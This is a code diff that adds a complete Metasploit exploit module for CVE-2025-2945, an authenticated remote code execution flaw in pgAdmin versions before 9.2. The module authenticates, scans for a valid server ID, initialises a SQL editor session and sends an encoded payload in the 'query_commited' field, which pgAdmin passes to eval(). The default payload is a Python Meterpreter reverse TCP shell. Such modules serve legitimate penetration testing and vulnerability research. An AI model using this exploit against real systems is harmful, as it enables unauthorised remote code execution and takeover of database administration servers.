|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + prepend Msf::Exploit::Remote::AutoCheck |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + include Msf::Exploit::PgAdmin |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'pgAdmin Query Tool authenticated RCE (CVE-2025-2945)', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool |
| 20 | + and send a specific payload in the query_commited POST parameter. This payload is directly executed via a Python eval() |
| 21 | + statement, resulting in remote code execution in versions prior to 9.2. |
| 22 | +
|
| 23 | + To exploit this vulnerability, pgAdmin credentials are required. Additionally, in order to interact with the vulnerable |
| 24 | + SQL editor component, valid database credentials are necessary to initialize a session and obtain a transaction ID, |
| 25 | + which is required for the exploit. |
| 26 | + }, |
| 27 | + 'Author' => [ |
| 28 | + 'pyozzi-toss', # Vulnerability discovery |
| 29 | + 'jheysel-r7' # msf module |
| 30 | + ], |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'References' => [ |
| 33 | + ['CVE', '2025-2945'], |
| 34 | + ], |
| 35 | + 'Platform' => ['python'], |
| 36 | + 'Arch' => [ ARCH_PYTHON], |
| 37 | + 'Targets' => [ |
| 38 | + [ |
| 39 | + 'Python payload', |
| 40 | + { |
| 41 | + 'Platform' => 'python', |
| 42 | + 'Arch' => ARCH_PYTHON, |
| 43 | + 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } |
| 44 | + } |
| 45 | + ] |
| 46 | + ], |
| 47 | + 'DefaultTarget' => 0, |
| 48 | + 'DisclosureDate' => '2025-04-03', |
| 49 | + 'Notes' => { |
| 50 | + 'Stability' => [CRASH_SAFE], |
| 51 | + 'Reliability' => [REPEATABLE_SESSION], |
| 52 | + 'SideEffects' => [IOC_IN_LOGS] |
| 53 | + } |
| 54 | + ) |
| 55 | + ) |
| 56 | + |
| 57 | + register_options( |
| 58 | + [ |
| 59 | + Opt::RPORT(80), |
| 60 | + OptString.new('USERNAME', [true, 'The username to authenticate to pgadmin with', '']), |
| 61 | + OptString.new('PASSWORD', [true, 'The password to authenticate to pgadmin with', '']), |
| 62 | + OptString.new('DB_USER', [true, 'The username to authenticate to the database with', '']), |
| 63 | + OptString.new('DB_PASS', [true, 'The password to authenticate to the database with', '']), |
| 64 | + OptString.new('DB_NAME', [true, 'The database to authenticate to', '']), |
| 65 | + OptInt.new('MAX_SERVER_ID', [true, 'The maximum number of Server IDs to try and connect to.', 10]), |
| 66 | + ] |
| 67 | + ) |
| 68 | + end |
| 69 | + |
| 70 | + def check |
| 71 | + # Although there is no low bound mentioned in the advisory, we can see that the vulnerable eval() statement was |
| 72 | + # introduced in version 8.10: https://github.com/pgadmin-org/pgadmin4/commit/22cdb86aab5825787a36d149f8e6eb34fb26d817 |
| 73 | + check_version('9.2', '8.10') |
| 74 | + end |
| 75 | + |
| 76 | + # Return only the required URI encoded fields in order for the POST request to be successful |
| 77 | + # @return [String] The URI encoded form data for the POST request |
| 78 | + def get_post_data |
| 79 | + URI.encode_www_form({ |
| 80 | + 'title' => Faker::App.name.downcase, |
| 81 | + 'selectedNodeInfo' => { |
| 82 | + 'database' => { |
| 83 | + 'id' => Faker::App.name.downcase |
| 84 | + } |
| 85 | + } |
| 86 | + }) |
| 87 | + end |
| 88 | + |
| 89 | + def post_initialize_sqleditor(trans_id, sgid, sid, did) |
| 90 | + res = send_request_cgi({ |
| 91 | + 'uri' => normalize_uri(target_uri.path, "/sqleditor/initialize/sqleditor/#{trans_id}/#{sgid}/#{sid}/#{did}"), |
| 92 | + 'method' => 'POST', |
| 93 | + 'keep_cookies' => true, |
| 94 | + 'ctype' => 'application/json', |
| 95 | + 'headers' => { 'X-pgA-CSRFToken' => csrf_token }, |
| 96 | + 'data' => { |
| 97 | + 'user' => datastore['DB_USER'], |
| 98 | + 'password' => datastore['DB_PASS'], |
| 99 | + 'role' => '', |
| 100 | + 'dbname' => datastore['DB_NAME'] |
| 101 | + }.to_json |
| 102 | + }) |
| 103 | + |
| 104 | + unless res&.code == 200 |
| 105 | + errmsg = res&.get_json_document&.dig('result', 'errmsg') || 'unknown error' |
| 106 | + fail_with(Failure::UnexpectedReply, "Failed to initialize sqleditor: #{errmsg}") |
| 107 | + end |
| 108 | + |
| 109 | + print_good('Successfully initialized sqleditor') |
| 110 | + end |
| 111 | + |
| 112 | + def find_valid_server_id(sgid) |
| 113 | + (1..datastore['MAX_SERVER_ID']).each do |sid| |
| 114 | + vprint_status("Trying server ID: #{sid}") |
| 115 | + res = send_request_cgi({ |
| 116 | + 'uri' => normalize_uri(target_uri.path, "/sqleditor/get_server_connection/#{sgid}/#{sid}"), |
| 117 | + 'method' => 'GET', |
| 118 | + 'keep_cookies' => true, |
| 119 | + 'ctype' => 'application/x-www-form-urlencoded', |
| 120 | + 'headers' => { |
| 121 | + 'X-pgA-CSRFToken' => csrf_token |
| 122 | + } |
| 123 | + }) |
| 124 | + if res&.get_json_document&.dig('data', 'status') |
| 125 | + return sid |
| 126 | + end |
| 127 | + end |
| 128 | + fail_with(Failure::NoTarget, 'Failed to find a valid server ID, try increasing MAX_SERVER_ID') |
| 129 | + end |
| 130 | + |
| 131 | + # In order to interact with the vulnerable component, the SQL editor, we need to initialize a session and a valid |
| 132 | + # transaction ID. This is done by sending a POST request to the sqleditor/panel endpoint with the necessary parameters |
| 133 | + # @return [String] The transaction ID for the SQL editor |
| 134 | + def sqleditor_init(trans_id) |
| 135 | + sgid = rand(1..10) |
| 136 | + did = rand(10000..99999) |
| 137 | + sid = find_valid_server_id(sgid) |
| 138 | + post_initialize_sqleditor(trans_id, sgid, sid, did) |
| 139 | + end |
| 140 | + |
| 141 | + def exploit |
| 142 | + authenticate(datastore['USERNAME'], datastore['PASSWORD']) |
| 143 | + trans_id = rand(1_000_000..9_999_999) |
| 144 | + sqleditor_init(trans_id) |
| 145 | + |
| 146 | + print_status('Exploiting the target...') |
| 147 | + res = send_request_cgi({ |
| 148 | + 'uri' => normalize_uri(target_uri.path, "/sqleditor/query_tool/download/#{trans_id}"), |
| 149 | + 'method' => 'POST', |
| 150 | + 'ctype' => 'application/json', |
| 151 | + 'keep_cookies' => true, |
| 152 | + 'headers' => { |
| 153 | + 'Referer' => "http://#{datastore['RHOST']}:#{datastore['RPORT']}/sqleditor/panel/#{trans_id}?is_query_tool=true", |
| 154 | + 'X-Pga-Csrftoken' => csrf_token |
| 155 | + }, |
| 156 | + 'data' => { |
| 157 | + 'query_commited' => payload.encoded |
| 158 | + }.to_json |
| 159 | + }) |
| 160 | + print_error('No response received from exploit attempt') unless res |
| 161 | + print_good('Received a 500 response from the exploit attempt, this is expected') if res&.code == 500 |
| 162 | + print_error("Received an unexpected response code from the exploit attempt: #{res&.code}") if res&.code != 500 |
| 163 | + end |
| 164 | +end |
0 commit comments